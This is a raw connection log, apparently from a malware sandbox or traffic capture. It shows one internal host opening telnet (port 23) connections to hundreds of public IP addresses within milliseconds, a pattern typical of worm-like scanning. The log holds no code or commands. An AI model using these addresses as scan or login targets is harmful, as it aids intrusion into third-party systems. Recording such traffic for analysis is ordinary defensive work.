Dec 3, 2024 22:02:07.188342094 CET	39808	23	192.168.2.14	150.9.7.132
Dec 3, 2024 22:02:07.188342094 CET	39808	23	192.168.2.14	64.252.246.229
Dec 3, 2024 22:02:07.188342094 CET	39808	23	192.168.2.14	34.173.169.70
Dec 3, 2024 22:02:07.188343048 CET	39808	23	192.168.2.14	139.44.200.241
Dec 3, 2024 22:02:07.188342094 CET	39808	23	192.168.2.14	182.165.168.193
Dec 3, 2024 22:02:07.188342094 CET	39808	23	192.168.2.14	9.77.80.135
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	139.149.191.183
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	147.197.131.227
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	58.8.245.66
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	53.77.56.42
Dec 3, 2024 22:02:07.188343048 CET	39808	23	192.168.2.14	115.0.22.50
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	86.161.71.57
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	122.179.219.14
Dec 3, 2024 22:02:07.188343048 CET	39808	23	192.168.2.14	38.156.37.37
Dec 3, 2024 22:02:07.188344955 CET	39808	23	192.168.2.14	36.148.165.108
Dec 3, 2024 22:02:07.188343048 CET	39808	23	192.168.2.14	177.11.148.80
Dec 3, 2024 22:02:07.188364983 CET	39808	23	192.168.2.14	82.220.98.254
Dec 3, 2024 22:02:07.188364983 CET	39808	23	192.168.2.14	60.23.13.143
Dec 3, 2024 22:02:07.188381910 CET	39808	23	192.168.2.14	52.41.41.222
Dec 3, 2024 22:02:07.188381910 CET	39808	23	192.168.2.14	9.159.67.77
Dec 3, 2024 22:02:07.188381910 CET	39808	23	192.168.2.14	99.197.245.90
Dec 3, 2024 22:02:07.188381910 CET	39808	23	192.168.2.14	83.146.76.198
Dec 3, 2024 22:02:07.188381910 CET	39808	23	192.168.2.14	64.24.140.220
Dec 3, 2024 22:02:07.188385010 CET	39808	23	192.168.2.14	206.109.213.219
Dec 3, 2024 22:02:07.188385010 CET	39808	23	192.168.2.14	69.187.54.147
Dec 3, 2024 22:02:07.188385010 CET	39808	23	192.168.2.14	108.83.57.78
Dec 3, 2024 22:02:07.188385010 CET	39808	23	192.168.2.14	76.2.238.163
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	41.26.76.128
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	165.177.184.117
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	195.43.213.226
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	181.43.13.155
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	31.156.106.82
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	209.231.133.127
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	129.153.156.142
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	203.150.225.14
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	199.184.179.8
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	122.48.88.240
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	206.7.49.144
Dec 3, 2024 22:02:07.188385963 CET	39808	23	192.168.2.14	174.34.180.227
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	35.37.143.185
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	83.243.50.142
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	137.5.224.153
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	133.77.69.228
Dec 3, 2024 22:02:07.188386917 CET	39808	23	192.168.2.14	23.246.130.202
Dec 3, 2024 22:02:07.188391924 CET	39808	23	192.168.2.14	147.180.53.46
Dec 3, 2024 22:02:07.188391924 CET	39808	23	192.168.2.14	5.82.203.224
Dec 3, 2024 22:02:07.188393116 CET	39808	23	192.168.2.14	51.183.204.146
Dec 3, 2024 22:02:07.188393116 CET	39808	23	192.168.2.14	20.0.6.30
Dec 3, 2024 22:02:07.188405991 CET	39808	23	192.168.2.14	147.92.160.105
Dec 3, 2024 22:02:07.188405991 CET	39808	23	192.168.2.14	24.61.47.133
Dec 3, 2024 22:02:07.188406944 CET	39808	23	192.168.2.14	31.155.39.174
Dec 3, 2024 22:02:07.188405991 CET	39808	23	192.168.2.14	101.219.46.21
Dec 3, 2024 22:02:07.188406944 CET	39808	23	192.168.2.14	211.185.77.86
Dec 3, 2024 22:02:07.188407898 CET	39808	23	192.168.2.14	93.222.130.107
Dec 3, 2024 22:02:07.188407898 CET	39808	23	192.168.2.14	169.111.21.11
Dec 3, 2024 22:02:07.188409090 CET	39808	23	192.168.2.14	18.1.202.23
Dec 3, 2024 22:02:07.188407898 CET	39808	23	192.168.2.14	211.184.18.196
Dec 3, 2024 22:02:07.188410044 CET	39808	23	192.168.2.14	178.200.93.185
Dec 3, 2024 22:02:07.188410044 CET	39808	23	192.168.2.14	151.32.139.61
Dec 3, 2024 22:02:07.188410044 CET	39808	23	192.168.2.14	2.116.213.69
Dec 3, 2024 22:02:07.188410044 CET	39808	23	192.168.2.14	99.168.15.237
Dec 3, 2024 22:02:07.188409090 CET	39808	23	192.168.2.14	210.123.92.210
Dec 3, 2024 22:02:07.188407898 CET	39808	23	192.168.2.14	143.49.210.240
Dec 3, 2024 22:02:07.188410044 CET	39808	23	192.168.2.14	124.169.59.59
Dec 3, 2024 22:02:07.188410044 CET	39808	23	192.168.2.14	200.209.58.74
Dec 3, 2024 22:02:07.188422918 CET	39808	23	192.168.2.14	91.223.165.118
Dec 3, 2024 22:02:07.188422918 CET	39808	23	192.168.2.14	43.66.160.120
Dec 3, 2024 22:02:07.188425064 CET	39808	23	192.168.2.14	208.179.78.176
Dec 3, 2024 22:02:07.188425064 CET	39808	23	192.168.2.14	147.222.175.15
Dec 3, 2024 22:02:07.188435078 CET	39808	23	192.168.2.14	181.219.10.18
Dec 3, 2024 22:02:07.188447952 CET	39808	23	192.168.2.14	12.202.19.184
Dec 3, 2024 22:02:07.188447952 CET	39808	23	192.168.2.14	134.248.149.153
Dec 3, 2024 22:02:07.188456059 CET	39808	23	192.168.2.14	45.75.226.190
Dec 3, 2024 22:02:07.188462019 CET	39808	23	192.168.2.14	62.177.83.103
Dec 3, 2024 22:02:07.188465118 CET	39808	23	192.168.2.14	119.95.234.110
Dec 3, 2024 22:02:07.188477039 CET	39808	23	192.168.2.14	156.137.52.72
Dec 3, 2024 22:02:07.188479900 CET	39808	23	192.168.2.14	113.225.111.13
Dec 3, 2024 22:02:07.188499928 CET	39808	23	192.168.2.14	167.193.22.171
Dec 3, 2024 22:02:07.188513041 CET	39808	23	192.168.2.14	113.84.22.102
Dec 3, 2024 22:02:07.188514948 CET	39808	23	192.168.2.14	61.107.203.231
Dec 3, 2024 22:02:07.188529015 CET	39808	23	192.168.2.14	63.1.174.37
Dec 3, 2024 22:02:07.188529968 CET	39808	23	192.168.2.14	53.189.110.250
Dec 3, 2024 22:02:07.188535929 CET	39808	23	192.168.2.14	61.35.104.208
Dec 3, 2024 22:02:07.188536882 CET	39808	23	192.168.2.14	134.103.65.28
Dec 3, 2024 22:02:07.188543081 CET	39808	23	192.168.2.14	193.10.7.219
Dec 3, 2024 22:02:07.188549995 CET	39808	23	192.168.2.14	213.211.198.16
Dec 3, 2024 22:02:07.188559055 CET	39808	23	192.168.2.14	119.67.47.132
Dec 3, 2024 22:02:07.188569069 CET	39808	23	192.168.2.14	89.126.82.194
Dec 3, 2024 22:02:07.188570976 CET	39808	23	192.168.2.14	72.251.104.179
Dec 3, 2024 22:02:07.188581944 CET	39808	23	192.168.2.14	208.11.56.100
Dec 3, 2024 22:02:07.188581944 CET	39808	23	192.168.2.14	54.177.39.66
Dec 3, 2024 22:02:07.188594103 CET	39808	23	192.168.2.14	108.253.107.204
Dec 3, 2024 22:02:07.188594103 CET	39808	23	192.168.2.14	80.40.79.29
Dec 3, 2024 22:02:07.188605070 CET	39808	23	192.168.2.14	83.213.74.126
Dec 3, 2024 22:02:07.188605070 CET	39808	23	192.168.2.14	222.195.178.215
Dec 3, 2024 22:02:07.188615084 CET	39808	23	192.168.2.14	218.200.251.134
Dec 3, 2024 22:02:07.188616037 CET	39808	23	192.168.2.14	203.157.199.247
Dec 3, 2024 22:02:07.188622952 CET	39808	23	192.168.2.14	36.210.48.91
Dec 3, 2024 22:02:07.188622952 CET	39808	23	192.168.2.14	112.192.243.250
Dec 3, 2024 22:02:07.188625097 CET	39808	23	192.168.2.14	81.102.36.143
Dec 3, 2024 22:02:07.188625097 CET	39808	23	192.168.2.14	17.134.33.73
Dec 3, 2024 22:02:07.188642979 CET	39808	23	192.168.2.14	175.89.252.66
Dec 3, 2024 22:02:07.188646078 CET	39808	23	192.168.2.14	42.121.79.38
Dec 3, 2024 22:02:07.188646078 CET	39808	23	192.168.2.14	189.102.26.194
Dec 3, 2024 22:02:07.188647985 CET	39808	23	192.168.2.14	219.38.86.226
Dec 3, 2024 22:02:07.188662052 CET	39808	23	192.168.2.14	81.147.169.202
Dec 3, 2024 22:02:07.188662052 CET	39808	23	192.168.2.14	157.239.65.78
Dec 3, 2024 22:02:07.188668966 CET	39808	23	192.168.2.14	70.82.180.98
Dec 3, 2024 22:02:07.188669920 CET	39808	23	192.168.2.14	152.57.123.184
Dec 3, 2024 22:02:07.188667059 CET	39808	23	192.168.2.14	52.192.154.241
Dec 3, 2024 22:02:07.188678026 CET	39808	23	192.168.2.14	197.74.129.87
Dec 3, 2024 22:02:07.188678026 CET	39808	23	192.168.2.14	95.55.141.162
Dec 3, 2024 22:02:07.188684940 CET	39808	23	192.168.2.14	179.132.157.170
Dec 3, 2024 22:02:07.188690901 CET	39808	23	192.168.2.14	182.231.40.121
Dec 3, 2024 22:02:07.188702106 CET	39808	23	192.168.2.14	88.77.119.139
Dec 3, 2024 22:02:07.188709021 CET	39808	23	192.168.2.14	125.123.209.167
Dec 3, 2024 22:02:07.188709974 CET	39808	23	192.168.2.14	96.175.147.92
Dec 3, 2024 22:02:07.188718081 CET	39808	23	192.168.2.14	167.231.45.144
Dec 3, 2024 22:02:07.188728094 CET	39808	23	192.168.2.14	204.152.73.153
Dec 3, 2024 22:02:07.188730001 CET	39808	23	192.168.2.14	119.137.70.228
Dec 3, 2024 22:02:07.188731909 CET	39808	23	192.168.2.14	32.189.230.29
Dec 3, 2024 22:02:07.188749075 CET	39808	23	192.168.2.14	74.48.210.100
Dec 3, 2024 22:02:07.188749075 CET	39808	23	192.168.2.14	119.17.164.234
Dec 3, 2024 22:02:07.188754082 CET	39808	23	192.168.2.14	90.0.203.1
Dec 3, 2024 22:02:07.188754082 CET	39808	23	192.168.2.14	48.69.187.157
Dec 3, 2024 22:02:07.188759089 CET	39808	23	192.168.2.14	191.176.157.201
Dec 3, 2024 22:02:07.188760042 CET	39808	23	192.168.2.14	205.144.141.214
Dec 3, 2024 22:02:07.188761950 CET	39808	23	192.168.2.14	128.72.173.147
Dec 3, 2024 22:02:07.188771009 CET	39808	23	192.168.2.14	66.251.224.88
Dec 3, 2024 22:02:07.188771009 CET	39808	23	192.168.2.14	118.219.161.122
Dec 3, 2024 22:02:07.188771963 CET	39808	23	192.168.2.14	158.22.134.4
Dec 3, 2024 22:02:07.188771963 CET	39808	23	192.168.2.14	79.242.18.37
Dec 3, 2024 22:02:07.188771963 CET	39808	23	192.168.2.14	220.216.115.48
Dec 3, 2024 22:02:07.188771963 CET	39808	23	192.168.2.14	172.204.47.115
Dec 3, 2024 22:02:07.188787937 CET	39808	23	192.168.2.14	125.232.52.180
Dec 3, 2024 22:02:07.188787937 CET	39808	23	192.168.2.14	208.41.98.170
Dec 3, 2024 22:02:07.188792944 CET	39808	23	192.168.2.14	32.184.177.72
Dec 3, 2024 22:02:07.188792944 CET	39808	23	192.168.2.14	197.215.248.193
Dec 3, 2024 22:02:07.188792944 CET	39808	23	192.168.2.14	202.50.103.88
Dec 3, 2024 22:02:07.188795090 CET	39808	23	192.168.2.14	75.47.176.52
Dec 3, 2024 22:02:07.188796043 CET	39808	23	192.168.2.14	121.121.251.129
Dec 3, 2024 22:02:07.188796997 CET	39808	23	192.168.2.14	12.63.95.154
Dec 3, 2024 22:02:07.188807011 CET	39808	23	192.168.2.14	66.246.44.164
Dec 3, 2024 22:02:07.188810110 CET	39808	23	192.168.2.14	152.121.119.37
Dec 3, 2024 22:02:07.188834906 CET	39808	23	192.168.2.14	110.89.113.156
Dec 3, 2024 22:02:07.188836098 CET	39808	23	192.168.2.14	65.62.117.52
Dec 3, 2024 22:02:07.188837051 CET	39808	23	192.168.2.14	31.211.180.232
Dec 3, 2024 22:02:07.188839912 CET	39808	23	192.168.2.14	141.28.254.91
Dec 3, 2024 22:02:07.188839912 CET	39808	23	192.168.2.14	37.18.156.14
Dec 3, 2024 22:02:07.188847065 CET	39808	23	192.168.2.14	211.161.21.198
Dec 3, 2024 22:02:07.188847065 CET	39808	23	192.168.2.14	59.254.64.44
Dec 3, 2024 22:02:07.188851118 CET	39808	23	192.168.2.14	121.96.246.184
Dec 3, 2024 22:02:07.188851118 CET	39808	23	192.168.2.14	120.14.110.233
Dec 3, 2024 22:02:07.188853025 CET	39808	23	192.168.2.14	49.87.247.22
Dec 3, 2024 22:02:07.188855886 CET	39808	23	192.168.2.14	191.219.194.100
Dec 3, 2024 22:02:07.188857079 CET	39808	23	192.168.2.14	221.129.241.218
Dec 3, 2024 22:02:07.188860893 CET	39808	23	192.168.2.14	89.226.224.247
Dec 3, 2024 22:02:07.188875914 CET	39808	23	192.168.2.14	50.167.159.79
Dec 3, 2024 22:02:07.188875914 CET	39808	23	192.168.2.14	72.244.202.111
Dec 3, 2024 22:02:07.188875914 CET	39808	23	192.168.2.14	194.191.117.112
Dec 3, 2024 22:02:07.188875914 CET	39808	23	192.168.2.14	61.12.189.1
Dec 3, 2024 22:02:07.188875914 CET	39808	23	192.168.2.14	144.73.155.116
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	221.189.152.242
Dec 3, 2024 22:02:07.188875914 CET	39808	23	192.168.2.14	102.131.214.64
Dec 3, 2024 22:02:07.188879013 CET	39808	23	192.168.2.14	106.250.175.231
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	198.55.203.23
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	64.74.138.195
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	126.130.142.126
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	186.8.127.228
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	216.196.55.91
Dec 3, 2024 22:02:07.188878059 CET	39808	23	192.168.2.14	141.118.166.113
Dec 3, 2024 22:02:07.188895941 CET	39808	23	192.168.2.14	195.189.178.152
Dec 3, 2024 22:02:07.188895941 CET	39808	23	192.168.2.14	42.64.20.40
Dec 3, 2024 22:02:07.188899040 CET	39808	23	192.168.2.14	180.240.183.235
Dec 3, 2024 22:02:07.188900948 CET	39808	23	192.168.2.14	79.179.70.246
Dec 3, 2024 22:02:07.188900948 CET	39808	23	192.168.2.14	167.88.212.39
Dec 3, 2024 22:02:07.188900948 CET	39808	23	192.168.2.14	69.57.240.191
Dec 3, 2024 22:02:07.188900948 CET	39808	23	192.168.2.14	207.8.70.164
Dec 3, 2024 22:02:07.188904047 CET	39808	23	192.168.2.14	129.212.62.85
Dec 3, 2024 22:02:07.188921928 CET	39808	23	192.168.2.14	77.127.184.222
Dec 3, 2024 22:02:07.188926935 CET	39808	23	192.168.2.14	168.81.175.39
Dec 3, 2024 22:02:07.188932896 CET	39808	23	192.168.2.14	190.169.234.166
Dec 3, 2024 22:02:07.188935995 CET	39808	23	192.168.2.14	47.2.45.70
Dec 3, 2024 22:02:07.188941956 CET	39808	23	192.168.2.14	197.156.182.144
Dec 3, 2024 22:02:07.188942909 CET	39808	23	192.168.2.14	53.22.140.44
Dec 3, 2024 22:02:07.188955069 CET	39808	23	192.168.2.14	190.125.24.91
Dec 3, 2024 22:02:07.188957930 CET	39808	23	192.168.2.14	161.29.124.167
Dec 3, 2024 22:02:07.188970089 CET	39808	23	192.168.2.14	47.199.235.36
Dec 3, 2024 22:02:07.188978910 CET	39808	23	192.168.2.14	159.181.139.215
Dec 3, 2024 22:02:07.188981056 CET	39808	23	192.168.2.14	136.165.177.98
Dec 3, 2024 22:02:07.188981056 CET	39808	23	192.168.2.14	108.221.198.103
Dec 3, 2024 22:02:07.188994884 CET	39808	23	192.168.2.14	201.151.196.168
Dec 3, 2024 22:02:07.188997984 CET	39808	23	192.168.2.14	126.167.33.145
Dec 3, 2024 22:02:07.189007044 CET	39808	23	192.168.2.14	171.9.197.73
Dec 3, 2024 22:02:07.189007044 CET	39808	23	192.168.2.14	151.73.79.53
Dec 3, 2024 22:02:07.189007044 CET	39808	23	192.168.2.14	166.53.219.155
Dec 3, 2024 22:02:07.189007044 CET	39808	23	192.168.2.14	150.123.66.207
Dec 3, 2024 22:02:07.189022064 CET	39808	23	192.168.2.14	65.97.46.121
Dec 3, 2024 22:02:07.189023018 CET	39808	23	192.168.2.14	90.137.83.40
Dec 3, 2024 22:02:07.189023018 CET	39808	23	192.168.2.14	222.39.70.240
Dec 3, 2024 22:02:07.189038038 CET	39808	23	192.168.2.14	122.179.197.62
Dec 3, 2024 22:02:07.189049959 CET	39808	23	192.168.2.14	147.124.249.152
Dec 3, 2024 22:02:07.189052105 CET	39808	23	192.168.2.14	116.56.21.148
Dec 3, 2024 22:02:07.189049959 CET	39808	23	192.168.2.14	108.71.65.238
Dec 3, 2024 22:02:07.189049959 CET	39808	23	192.168.2.14	203.33.175.153
Dec 3, 2024 22:02:07.189055920 CET	39808	23	192.168.2.14	173.225.242.224
Dec 3, 2024 22:02:07.189062119 CET	39808	23	192.168.2.14	81.48.179.254
Dec 3, 2024 22:02:07.189063072 CET	39808	23	192.168.2.14	206.111.215.143
Dec 3, 2024 22:02:07.189065933 CET	39808	23	192.168.2.14	153.176.7.225
Dec 3, 2024 22:02:07.189069033 CET	39808	23	192.168.2.14	203.1.37.50
Dec 3, 2024 22:02:07.189085007 CET	39808	23	192.168.2.14	201.78.175.218
Dec 3, 2024 22:02:07.189085960 CET	39808	23	192.168.2.14	31.138.78.220
Dec 3, 2024 22:02:07.189085960 CET	39808	23	192.168.2.14	170.232.147.99
Dec 3, 2024 22:02:07.189088106 CET	39808	23	192.168.2.14	61.54.175.142
Dec 3, 2024 22:02:07.189100027 CET	39808	23	192.168.2.14	59.70.219.64
Dec 3, 2024 22:02:07.189106941 CET	39808	23	192.168.2.14	90.19.88.80
Dec 3, 2024 22:02:07.189110041 CET	39808	23	192.168.2.14	53.218.225.70
Dec 3, 2024 22:02:07.189111948 CET	39808	23	192.168.2.14	211.176.184.233
Dec 3, 2024 22:02:07.189131021 CET	39808	23	192.168.2.14	198.224.94.95
Dec 3, 2024 22:02:07.189131975 CET	39808	23	192.168.2.14	2.223.76.75
Dec 3, 2024 22:02:07.189146996 CET	39808	23	192.168.2.14	62.140.101.134
Dec 3, 2024 22:02:07.189148903 CET	39808	23	192.168.2.14	64.137.210.68
Dec 3, 2024 22:02:07.189153910 CET	39808	23	192.168.2.14	125.124.178.217
Dec 3, 2024 22:02:07.189153910 CET	39808	23	192.168.2.14	92.219.0.175
Dec 3, 2024 22:02:07.189157963 CET	39808	23	192.168.2.14	188.108.17.154
Dec 3, 2024 22:02:07.189171076 CET	39808	23	192.168.2.14	109.190.246.233
Dec 3, 2024 22:02:07.189176083 CET	39808	23	192.168.2.14	184.213.134.125
Dec 3, 2024 22:02:07.189198971 CET	39808	23	192.168.2.14	78.251.63.231
Dec 3, 2024 22:02:07.189201117 CET	39808	23	192.168.2.14	95.226.126.117
Dec 3, 2024 22:02:07.189201117 CET	39808	23	192.168.2.14	104.0.222.173
Dec 3, 2024 22:02:07.189213037 CET	39808	23	192.168.2.14	68.71.207.227
Dec 3, 2024 22:02:07.189213037 CET	39808	23	192.168.2.14	12.74.77.18
Dec 3, 2024 22:02:07.189214945 CET	39808	23	192.168.2.14	155.94.206.225
Dec 3, 2024 22:02:07.189224958 CET	39808	23	192.168.2.14	212.177.136.75
Dec 3, 2024 22:02:07.189239025 CET	39808	23	192.168.2.14	189.205.201.69
Dec 3, 2024 22:02:07.189239025 CET	39808	23	192.168.2.14	117.96.177.184
Dec 3, 2024 22:02:07.189248085 CET	39808	23	192.168.2.14	23.18.132.20
Dec 3, 2024 22:02:07.189255953 CET	39808	23	192.168.2.14	85.185.197.202
Dec 3, 2024 22:02:07.189255953 CET	39808	23	192.168.2.14	19.93.142.242
Dec 3, 2024 22:02:07.189268112 CET	39808	23	192.168.2.14	136.28.155.133
Dec 3, 2024 22:02:07.189275980 CET	39808	23	192.168.2.14	41.218.102.19
Dec 3, 2024 22:02:07.189284086 CET	39808	23	192.168.2.14	95.203.179.207
Dec 3, 2024 22:02:07.189285040 CET	39808	23	192.168.2.14	62.255.185.180
Dec 3, 2024 22:02:07.189292908 CET	39808	23	192.168.2.14	4.75.75.23
Dec 3, 2024 22:02:07.189296961 CET	39808	23	192.168.2.14	108.194.133.178
Dec 3, 2024 22:02:07.189296961 CET	39808	23	192.168.2.14	63.254.238.155
Dec 3, 2024 22:02:07.189299107 CET	39808	23	192.168.2.14	54.95.50.37
Dec 3, 2024 22:02:07.189302921 CET	39808	23	192.168.2.14	2.234.15.180
Dec 3, 2024 22:02:07.189302921 CET	39808	23	192.168.2.14	166.225.105.121
Dec 3, 2024 22:02:07.189302921 CET	39808	23	192.168.2.14	62.55.102.47
Dec 3, 2024 22:02:07.189307928 CET	39808	23	192.168.2.14	217.88.167.26
Dec 3, 2024 22:02:07.189311028 CET	39808	23	192.168.2.14	190.203.189.91
Dec 3, 2024 22:02:07.189313889 CET	39808	23	192.168.2.14	79.19.140.53
Dec 3, 2024 22:02:07.189323902 CET	39808	23	192.168.2.14	161.109.187.150
Dec 3, 2024 22:02:07.189323902 CET	39808	23	192.168.2.14	195.213.128.128
Dec 3, 2024 22:02:07.189347029 CET	39808	23	192.168.2.14	223.105.67.69
Dec 3, 2024 22:02:07.189347982 CET	39808	23	192.168.2.14	128.185.97.132
Dec 3, 2024 22:02:07.189348936 CET	39808	23	192.168.2.14	93.135.198.36
Dec 3, 2024 22:02:07.189348936 CET	39808	23	192.168.2.14	115.150.89.129
Dec 3, 2024 22:02:07.189354897 CET	39808	23	192.168.2.14	64.52.80.67
Dec 3, 2024 22:02:07.189364910 CET	39808	23	192.168.2.14	146.98.168.83
Dec 3, 2024 22:02:07.189373016 CET	39808	23	192.168.2.14	123.129.38.158
Dec 3, 2024 22:02:07.189383030 CET	39808	23	192.168.2.14	97.82.108.168
Dec 3, 2024 22:02:07.189385891 CET	39808	23	192.168.2.14	57.109.119.236
Dec 3, 2024 22:02:07.189388990 CET	39808	23	192.168.2.14	216.79.45.1
Dec 3, 2024 22:02:07.189395905 CET	39808	23	192.168.2.14	67.0.116.234
Dec 3, 2024 22:02:07.189404011 CET	39808	23	192.168.2.14	145.87.205.186
Dec 3, 2024 22:02:07.189404011 CET	39808	23	192.168.2.14	85.73.181.194
Dec 3, 2024 22:02:07.189404011 CET	39808	23	192.168.2.14	91.236.152.144
Dec 3, 2024 22:02:07.189414024 CET	39808	23	192.168.2.14	117.22.87.144
Dec 3, 2024 22:02:07.189424992 CET	39808	23	192.168.2.14	39.27.185.28
Dec 3, 2024 22:02:07.189440012 CET	39808	23	192.168.2.14	88.113.28.190
Dec 3, 2024 22:02:07.189440012 CET	39808	23	192.168.2.14	19.65.13.86
Dec 3, 2024 22:02:07.189440012 CET	39808	23	192.168.2.14	9.197.158.255
Dec 3, 2024 22:02:07.189445019 CET	39808	23	192.168.2.14	142.116.251.4
Dec 3, 2024 22:02:07.189457893 CET	39808	23	192.168.2.14	100.182.214.244
Dec 3, 2024 22:02:07.189457893 CET	39808	23	192.168.2.14	76.220.216.193
Dec 3, 2024 22:02:07.189459085 CET	39808	23	192.168.2.14	187.8.136.91
Dec 3, 2024 22:02:07.189464092 CET	39808	23	192.168.2.14	142.15.221.28
Dec 3, 2024 22:02:07.189464092 CET	39808	23	192.168.2.14	117.91.190.228
Dec 3, 2024 22:02:07.189480066 CET	39808	23	192.168.2.14	196.179.128.122
Dec 3, 2024 22:02:07.189480066 CET	39808	23	192.168.2.14	120.158.236.69
Dec 3, 2024 22:02:07.189480066 CET	39808	23	192.168.2.14	100.240.97.63
Dec 3, 2024 22:02:07.189500093 CET	39808	23	192.168.2.14	165.33.191.35
Dec 3, 2024 22:02:07.189500093 CET	39808	23	192.168.2.14	72.195.110.65
Dec 3, 2024 22:02:07.189502954 CET	39808	23	192.168.2.14	60.71.59.240
Dec 3, 2024 22:02:07.189507008 CET	39808	23	192.168.2.14	194.17.220.121
Dec 3, 2024 22:02:07.189507008 CET	39808	23	192.168.2.14	93.82.125.230
Dec 3, 2024 22:02:07.189511061 CET	39808	23	192.168.2.14	195.29.31.248
Dec 3, 2024 22:02:07.189516068 CET	39808	23	192.168.2.14	110.228.206.81
Dec 3, 2024 22:02:07.189516068 CET	39808	23	192.168.2.14	222.251.125.146
Dec 3, 2024 22:02:07.189532995 CET	39808	23	192.168.2.14	154.173.6.92
Dec 3, 2024 22:02:07.189534903 CET	39808	23	192.168.2.14	205.45.139.55
Dec 3, 2024 22:02:07.189546108 CET	39808	23	192.168.2.14	37.107.233.211
Dec 3, 2024 22:02:07.189548016 CET	39808	23	192.168.2.14	49.18.216.91
Dec 3, 2024 22:02:07.189558029 CET	39808	23	192.168.2.14	35.3.122.203
Dec 3, 2024 22:02:07.189569950 CET	39808	23	192.168.2.14	218.213.46.52
Dec 3, 2024 22:02:07.189569950 CET	39808	23	192.168.2.14	78.176.85.111
Dec 3, 2024 22:02:07.189588070 CET	39808	23	192.168.2.14	49.94.64.149
Dec 3, 2024 22:02:07.189591885 CET	39808	23	192.168.2.14	113.155.97.169
Dec 3, 2024 22:02:07.189595938 CET	39808	23	192.168.2.14	185.79.187.89
Dec 3, 2024 22:02:07.189605951 CET	39808	23	192.168.2.14	158.71.245.195
Dec 3, 2024 22:02:07.189608097 CET	39808	23	192.168.2.14	189.112.56.253
Dec 3, 2024 22:02:07.189609051 CET	39808	23	192.168.2.14	82.14.85.77
Dec 3, 2024 22:02:07.189615965 CET	39808	23	192.168.2.14	150.36.51.151
Dec 3, 2024 22:02:07.189624071 CET	39808	23	192.168.2.14	54.57.150.102
Dec 3, 2024 22:02:07.189624071 CET	39808	23	192.168.2.14	119.139.234.65
Dec 3, 2024 22:02:07.189624071 CET	39808	23	192.168.2.14	71.219.167.97
Dec 3, 2024 22:02:07.189624071 CET	39808	23	192.168.2.14	77.211.251.229
Dec 3, 2024 22:02:07.189635038 CET	39808	23	192.168.2.14	148.140.241.245
Dec 3, 2024 22:02:07.189636946 CET	39808	23	192.168.2.14	190.227.136.190
Dec 3, 2024 22:02:07.189645052 CET	39808	23	192.168.2.14	210.167.178.48
Dec 3, 2024 22:02:07.189650059 CET	39808	23	192.168.2.14	131.92.236.93
Dec 3, 2024 22:02:07.189656019 CET	39808	23	192.168.2.14	62.228.225.192
Dec 3, 2024 22:02:07.189663887 CET	39808	23	192.168.2.14	184.182.103.207
Dec 3, 2024 22:02:07.189663887 CET	39808	23	192.168.2.14	39.236.232.226
Dec 3, 2024 22:02:07.189668894 CET	39808	23	192.168.2.14	71.89.180.177
Dec 3, 2024 22:02:07.189668894 CET	39808	23	192.168.2.14	160.147.140.251
Dec 3, 2024 22:02:07.189685106 CET	39808	23	192.168.2.14	36.25.247.0
Dec 3, 2024 22:02:07.189685106 CET	39808	23	192.168.2.14	17.153.12.159
Dec 3, 2024 22:02:07.189687014 CET	39808	23	192.168.2.14	42.39.17.88
Dec 3, 2024 22:02:07.189702034 CET	39808	23	192.168.2.14	192.211.0.208
Dec 3, 2024 22:02:07.189702034 CET	39808	23	192.168.2.14	96.106.70.79
Dec 3, 2024 22:02:07.189718962 CET	39808	23	192.168.2.14	145.36.255.74
Dec 3, 2024 22:02:07.189722061 CET	39808	23	192.168.2.14	27.30.57.118
Dec 3, 2024 22:02:07.189727068 CET	39808	23	192.168.2.14	90.182.112.110
Dec 3, 2024 22:02:07.189745903 CET	39808	23	192.168.2.14	136.98.251.204
Dec 3, 2024 22:02:07.189747095 CET	39808	23	192.168.2.14	145.229.173.76
Dec 3, 2024 22:02:07.189745903 CET	39808	23	192.168.2.14	149.253.169.184
Dec 3, 2024 22:02:07.189745903 CET	39808	23	192.168.2.14	111.152.13.94
Dec 3, 2024 22:02:07.189747095 CET	39808	23	192.168.2.14	187.0.213.215
Dec 3, 2024 22:02:07.189745903 CET	39808	23	192.168.2.14	106.191.128.81
Dec 3, 2024 22:02:07.189745903 CET	39808	23	192.168.2.14	179.100.221.200
Dec 3, 2024 22:02:07.189757109 CET	39808	23	192.168.2.14	118.87.219.104
Dec 3, 2024 22:02:07.189763069 CET	39808	23	192.168.2.14	178.43.183.15
Dec 3, 2024 22:02:07.189763069 CET	39808	23	192.168.2.14	43.48.57.69
Dec 3, 2024 22:02:07.189780951 CET	39808	23	192.168.2.14	175.26.210.129
Dec 3, 2024 22:02:07.189783096 CET	39808	23	192.168.2.14	174.179.23.213
Dec 3, 2024 22:02:07.189795971 CET	39808	23	192.168.2.14	86.41.178.28
Dec 3, 2024 22:02:07.189795971 CET	39808	23	192.168.2.14	107.169.53.165
